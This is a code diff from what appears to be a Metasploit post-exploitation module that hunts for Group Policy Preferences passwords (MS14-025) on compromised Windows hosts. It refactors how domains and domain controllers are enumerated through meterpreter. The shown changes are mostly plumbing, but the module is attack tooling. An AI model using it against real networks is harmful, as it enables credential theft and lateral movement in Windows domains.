@@ -13,6 +13,7 @@ class Metasploit3 < Msf::Post
13
13
include Msf ::Post ::File
14
14
include Msf ::Post ::Windows ::Priv
15
15
include Msf ::Post ::Windows ::Registry
16
+ include Msf ::Post ::Windows ::NetAPI
16
17
17
18
def initialize ( info = { } )
18
19
super ( update_info ( info ,
@@ -41,7 +42,8 @@ def initialize(info={})
41
42
[ 'URL' , 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)' ] ,
42
43
[ 'URL' , 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html' ] ,
43
44
[ 'URL' , 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx' ] ,
44
- [ 'URL' , 'https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/' ]
45
+ [ 'URL' , 'https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/' ] ,
46
+ [ 'MSB' , 'MS14-025' ]
45
47
] ,
46
48
'Platform' => [ 'win' ] ,
47
49
'SessionTypes' => [ 'meterpreter' ]
@@ -67,16 +69,11 @@ def run
67
69
domains = [ ]
68
70
basepaths = [ ]
69
71
fullpaths = [ ]
70
- cached_domain_controller = nil
71
72
72
73
print_status "Checking for group policy history objects..."
73
- # Windows XP environment variable points to the correct folder.
74
- # Windows Vista and upwards points to ProgramData!
75
- all_users = expand_path ( "%ALLUSERSPROFILE%" )
74
+ all_users = get_env ( "%ALLUSERSPROFILE%" )
76
75
77
- if all_users . include? 'ProgramData'
78
- all_users . gsub! ( 'ProgramData' , 'Users\\All Users' )
79
- else
76
+ unless all_users . include? 'ProgramData'
80
77
all_users = "#{ all_users } \\ Application Data"
81
78
end
82
79
@@ -209,7 +206,7 @@ def find_path(path, xml_path)
209
206
xml_path = "#{ path } #{ xml_path } "
210
207
begin
211
208
return xml_path if exist? xml_path
212
- rescue Rex ::Post ::Meterpreter ::RequestError => e
209
+ rescue Rex ::Post ::Meterpreter ::RequestError
213
210
# No permissions for this specific file.
214
211
return nil
215
212
end
@@ -347,50 +344,23 @@ def decrypt(encrypted_data)
347
344
end
348
345
349
346
def enum_domains
350
- domain_enum = 0x80000000 # SV_TYPE_DOMAIN_ENUM
351
- buffersize = 500
352
- result = client . railgun . netapi32 . NetServerEnum ( nil , 100 , 4 , buffersize , 4 , 4 , domain_enum , nil , nil )
353
- # Estimate new buffer size on percentage recovered.
354
- percent_found = ( result [ 'entriesread' ] . to_f /result [ 'totalentries' ] . to_f )
355
- if percent_found > 0
356
- buffersize = ( buffersize /percent_found ) . to_i
357
- else
358
- buffersize += 500
359
- end
360
-
361
- while result [ 'return' ] == 234
362
- buffersize = buffersize + 500
363
- result = client . railgun . netapi32 . NetServerEnum ( nil , 100 , 4 , buffersize , 4 , 4 , domain_enum , nil , nil )
364
- end
365
-
366
- count = result [ 'totalentries' ]
367
- print_status ( "#{ count } Domain(s) found." )
368
- startmem = result [ 'bufptr' ]
369
-
370
- base = 0
371
347
domains = [ ]
348
+ results = net_server_enum ( SV_TYPE_DOMAIN_ENUM )
372
349
373
- if count == 0
374
- return domains
375
- end
376
-
377
- mem = client . railgun . memread ( startmem , 8 *count )
350
+ if results
351
+ results . each do |domain |
352
+ domains << domain [ :name ]
353
+ end
378
354
379
- count . times do |i |
380
- x = { }
381
- x [ :platform ] = mem [ ( base + 0 ) , 4 ] . unpack ( "V*" ) [ 0 ]
382
- nameptr = mem [ ( base + 4 ) , 4 ] . unpack ( "V*" ) [ 0 ]
383
- x [ :domain ] = client . railgun . memread ( nameptr , 255 ) . split ( "\0 \0 " ) [ 0 ] . split ( "\0 " ) . join
384
- domains << x [ :domain ]
385
- base = base + 8
355
+ domains . uniq!
356
+ print_status ( "Retrieved Domain(s) #{ domains . join ( ', ' ) } from network" )
386
357
end
387
358
388
- domains . uniq!
389
- print_status "Retrieved Domain(s) #{ domains . join ( ', ' ) } from network"
390
- return domains
359
+ domains
391
360
end
392
361
393
362
def enum_dcs ( domain )
363
+ hostnames = nil
394
364
# Prevent crash if FQDN domain names are searched for or other disallowed characters:
395
365
# http://support.microsoft.com/kb/909264 \/:*?"<>|
396
366
if domain =~ /[:\* ?"<>\\ \/ .]/
@@ -399,34 +369,19 @@ def enum_dcs(domain)
399
369
end
400
370
401
371
print_status ( "Enumerating DCs for #{ domain } on the network..." )
402
- domaincontrollers = 24 # 10 + 8 (SV_TYPE_DOMAIN_BAKCTRL || SV_TYPE_DOMAIN_CTRL)
403
- buffersize = 500
404
- result = client . railgun . netapi32 . NetServerEnum ( nil , 100 , 4 , buffersize , 4 , 4 , domaincontrollers , domain , nil )
405
- while result [ 'return' ] == 234
406
- buffersize = buffersize + 500
407
- result = client . railgun . netapi32 . NetServerEnum ( nil , 100 , 4 , buffersize , 4 , 4 , domaincontrollers , domain , nil )
408
- end
409
- if result [ 'totalentries' ] == 0
372
+ results = net_server_enum ( SV_TYPE_DOMAIN_CTRL || SV_TYPE_DOMAIN_BAKCTRL , domain )
373
+
374
+ if results . blank?
410
375
print_error ( "No Domain Controllers found for #{ domain } " )
411
- return nil
376
+ else
377
+ hostnames = [ ]
378
+ results . each do |dc |
379
+ print_good "DC Found: #{ dc [ :name ] } "
380
+ hostnames << dc [ :name ]
381
+ end
412
382
end
413
383
414
- count = result [ 'totalentries' ]
415
- startmem = result [ 'bufptr' ]
416
-
417
- base = 0
418
- mem = client . railgun . memread ( startmem , 8 *count )
419
- hostnames = [ ]
420
- count . times { |i |
421
- t = { }
422
- t [ :platform ] = mem [ ( base + 0 ) , 4 ] . unpack ( "V*" ) [ 0 ]
423
- nameptr = mem [ ( base + 4 ) , 4 ] . unpack ( "V*" ) [ 0 ]
424
- t [ :dc_hostname ] = client . railgun . memread ( nameptr , 255 ) . split ( "\0 \0 " ) [ 0 ] . split ( "\0 " ) . join
425
- base = base + 8
426
- print_good "DC Found: #{ t [ :dc_hostname ] } "
427
- hostnames << t [ :dc_hostname ]
428
- }
429
- return hostnames
384
+ hostnames
430
385
end
431
386
432
387
# We use this for the odd test case where a DC is unable to be enumerated from the network
0 commit comments